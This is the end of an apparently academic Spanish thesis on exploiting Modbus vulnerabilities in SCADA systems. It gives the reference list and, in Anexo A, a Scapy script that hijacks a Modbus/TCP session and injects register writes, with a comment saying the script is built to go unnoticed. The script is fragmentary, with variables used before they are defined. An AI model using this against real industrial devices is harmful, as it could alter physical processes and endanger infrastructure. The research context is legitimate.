system test bed,. 2015 IEEE International Workshop Technical Committee on

Communications Quality and Reliability (CQR), 1-6.

Combs, G. (14 de Julio de 2016). Wireshark. Kansas: Software de computación. Obtenido de

https://www.wireshark.org/

H. Khurana, M. H. (2010). Smart-grid security issues. IEEE Security & Privacy, 81-85.

Jakaboczki, G., & Adamko, E. (2015). Vulnerabilities of Modbus RTU protocol - a case study.

Annals of the Oradea University, 203-206.

Ko, M. S. (2015). Advanced protocol against MITM attacks in Industrial Control System.

Journal of the Korea Institute of Information Security and Cryptology, 1455-1463.

Krutz, R. (2005). Securing SCADA Systems. Pittsburgh: Wiley.

Leyden, J. (24 de Marzo de 2016). The Register. Obtenido de Water treatment plant hacked,

chemical mix changed for tap supplies:

http://www.theregister.co.uk/2016/03/24/water_utility_hacked/

Majdalawieh, M. P.-P. (2007). DNPSec: Distributed network protocol version 3 (DNP3) security

framework. Advances in Computer, Information, and Systems Sciences, and Engineering,

227-234.

Marín, L., & Francisco, D. (10 de Septiembre de 2009). Desarrollo de software de una red de

sensores de medidas de consumo eléctrico. Obtenido de Anexo: Informacion de

protocolos: http://bibing.us.es/proyectos/abreproy/50050

Pacific Northwest National Laboratory, U.S. Department of Energy. (8-9 de November de 2006).

The Role of Authenticated Communications for Electric Power Distribution. Obtenido de

Position Paper for the National Workshop – Beyond SCADA:

http://www.science.upm.ro/~traian/web_curs/Scada/docum/SCADA_archit.pdf

33

Pauli, D. (10 de Enero de 2014). ITNews. Obtenido de Hackers gain 'full control' of critical

SCADA systems: http://www.itnews.com.au/news/hackers-gain-full-control-of-critical-

scada-systems-369200

Pérez, H. (12 de 04 de 2014). Universidad Nacional, abierta y a distancia. Obtenido de

http://datateca.unad.edu.co/contenidos/203052/UNIDAD_1/Introduccion_SCADA.pdf

Pollet, J. (2002). Developing a Solid SCADA Security Strategy . Sensors for Industry

Conference (págs. 148-156). Houston: IEEE.

Queiroz, C., Mahmood, A., & Tari, Z. (2011). SCADASim A Framework for Building SCADA

Simulations. IEEE Transactions on Smart Grid, 589-597.

Reynders, D., Mackay, S., & Wrigth, E. (2005). Practical Industrial Data Communication

(Primera ed.). Burlington: Elsevier.

Santander, M. H. (2013). SANS. Obtenido de Authentication Issues between entities during

protocol message exchange in SCADA Systems:

https://isc.sans.edu/forums/diary/Authentication+Issues+between+entities+during+protoc

ol+message+exchange+in+SCADA+Systems/13927/

Tiago H. Kobayashi, A. B. (16 de Octubre de 2008). Analysis of Malicious Traffic in

Modbus/TCP. Caicó, Rio Grande do Norte, Brasil.

VMware. (2016). VMware Workstation (Versión 12.5.0). Palo Alto, CA: Software de

computación. Obtenido de http://www.vmware.com/co/products/workstation.html

Witte Software. (2016). Modbus Tools (Version 7.0). Skive, Denmark: Software de computación.

34

Anexos

Anexo A

Script en Python para la explotación de la vulnerabilidad en MODBUS.

#!/usr/bin/python

from scapy.all import *

#Pk 1 SYN

SQ=0

SP=random.randint(49100,49199)

ip=IP(src="192.168.134.144", dst="192.168.134.142")

SYN=TCP(sport=SP, dport=502, flags="S", seq=SQ, options=[('MSS',

1460),('WScale', 8),('SAckOK','')])

SYNACK=sr1(ip/SYN)

MA = SYNACK.seq + 1

BA = MA

SQ = SYN.seq + 1

#PK 2 TCP

ACK=TCP(sport=SP, dport=502, flags="A", seq=SQ, ack=BA)

SA=send(ip/ACK)

#PK 3 Modbus

MB=TCP(sport=SP, dport=502, flags="PA", seq=SQ, ack=MA,

options=[('WScale', 8)])


PA=sr1(ip/MB/load)

SQ=SQ + 12

MA=MA + 29

#PK 4 TCP


SA=send(ip/ACK)

#PK 5 Modbus




PA=sr1(ip/MB/load)

SQ=SQ + 12

MA=MA + 29

#PK 6 TCP


SA=send(ip/ACK)

#PK 7 Modbus



35


PA=sr1(ip/MB/load)

SQ=SQ + 12

MA=MA + 29

#PK 8 TCP


SA=send(ip/ACK)

#PK 9 WR


load2=Raw(load='\x00\x03\x00\x00\x00\x1b\x01\x10\x00\x00\x00\x0a\x14\x

00\x01\x00\x0a\x00\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00

\x00\x00')


SQ=SQ + 33

MA=MA + 12

#PK 10 TCP


SA=send(ip/ACK)

#PK 11 Modbus




PA=sr1(ip/MB/load)

SQ=SQ + 12

MA=MA + 29

#PK 12 TCP


SA=send(ip/ACK)

#PK 13 Modbus




PA=sr1(ip/MB/load)

SQ=SQ + 12

MA=MA + 29

#PK 14 TCP


SA=send(ip/ACK)

#PK 15 Modbus




PA=sr1(ip/MB/load)

SQ=SQ + 12

36

MA=MA + 29

#PK 16 TCP


SA=send(ip/ACK)

#PK 17 Modbus




PA=sr1(ip/MB/load)

SQ=SQ + 12

MA=MA + 29

#PK 18 TCP


SA=send(ip/ACK)

#PK 19 Modbus




PA=sr1(ip/MB/load)

SQ=SQ + 12

MA=MA + 29

#PK 20 WR


load2=Raw(load='\x00\x09\x00\x00\x00\x1b\x01\x10\x00\x00\x00\x0a\x14\x

00\x01\x00\x0a\x00\xfa\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00

\x00\x0f')


SQ=SQ + 33

MA=MA + 12

#PK 21 TCP


SA=send(ip/ACK)

#PK 22 Modbus



load=Raw(load='\x00\x0a\x00\x00\x00\x06\x01\x03\x00\x00\x00\x0a')

PA=sr1(ip/MB/load)

SQ=SQ + 12

MA=MA + 29

#PK 23 TCP


SA=send(ip/ACK)

#PK 24 Modbus

37



load=Raw(load='\x00\x0b\x00\x00\x00\x06\x01\x03\x00\x00\x00\x0a')

PA=sr1(ip/MB/load)

SQ=SQ + 12

MA=MA + 29

#PK 25 TCP


SA=send(ip/ACK)

#PK 26 Modbus



load=Raw(load='\x00\x0c\x00\x00\x00\x06\x01\x03\x00\x00\x00\x0a')

PA=sr1(ip/MB/load)

SQ=SQ + 12

MA=MA + 29

#PK 27 TCP


SA=send(ip/ACK)

#PK 28 Modbus



load=Raw(load='\x00\x0d\x00\x00\x00\x06\x01\x03\x00\x00\x00\x0a')

PA=sr1(ip/MB/load)

SQ=SQ + 12

MA=MA + 29

#PK 29 TCP


SA=send(ip/ACK)

#PK 30 Modbus



load=Raw(load='\x00\x0f\x00\x00\x00\x06\x01\x03\x00\x00\x00\x0a')

PA=sr1(ip/MB/load)

SQ=SQ + 12

MA=MA + 29

#PK 31 TCP

FACK=TCP(sport=SP, dport=502, flags="FA", seq=SQ, ack=MA)

SA=sr1(ip/FACK)

SQ=SQ + 1

MA=MA + 1

#PK 32 TCP


SA=send(ip/ACK)

38

#Nota: este script está diseñado para pasar desapercibido como una

transacción estándar dentro del sistema.

Anexo B

Análisis de riesgo.

Anexo%20B%20analisis%20de%20riesgo.xlsm

EXPLOTANDO VULNERABILIDADES EN EL PROTOCOLO MODBUS …

Documents

Transcript of EXPLOTANDO VULNERABILIDADES EN EL PROTOCOLO MODBUS …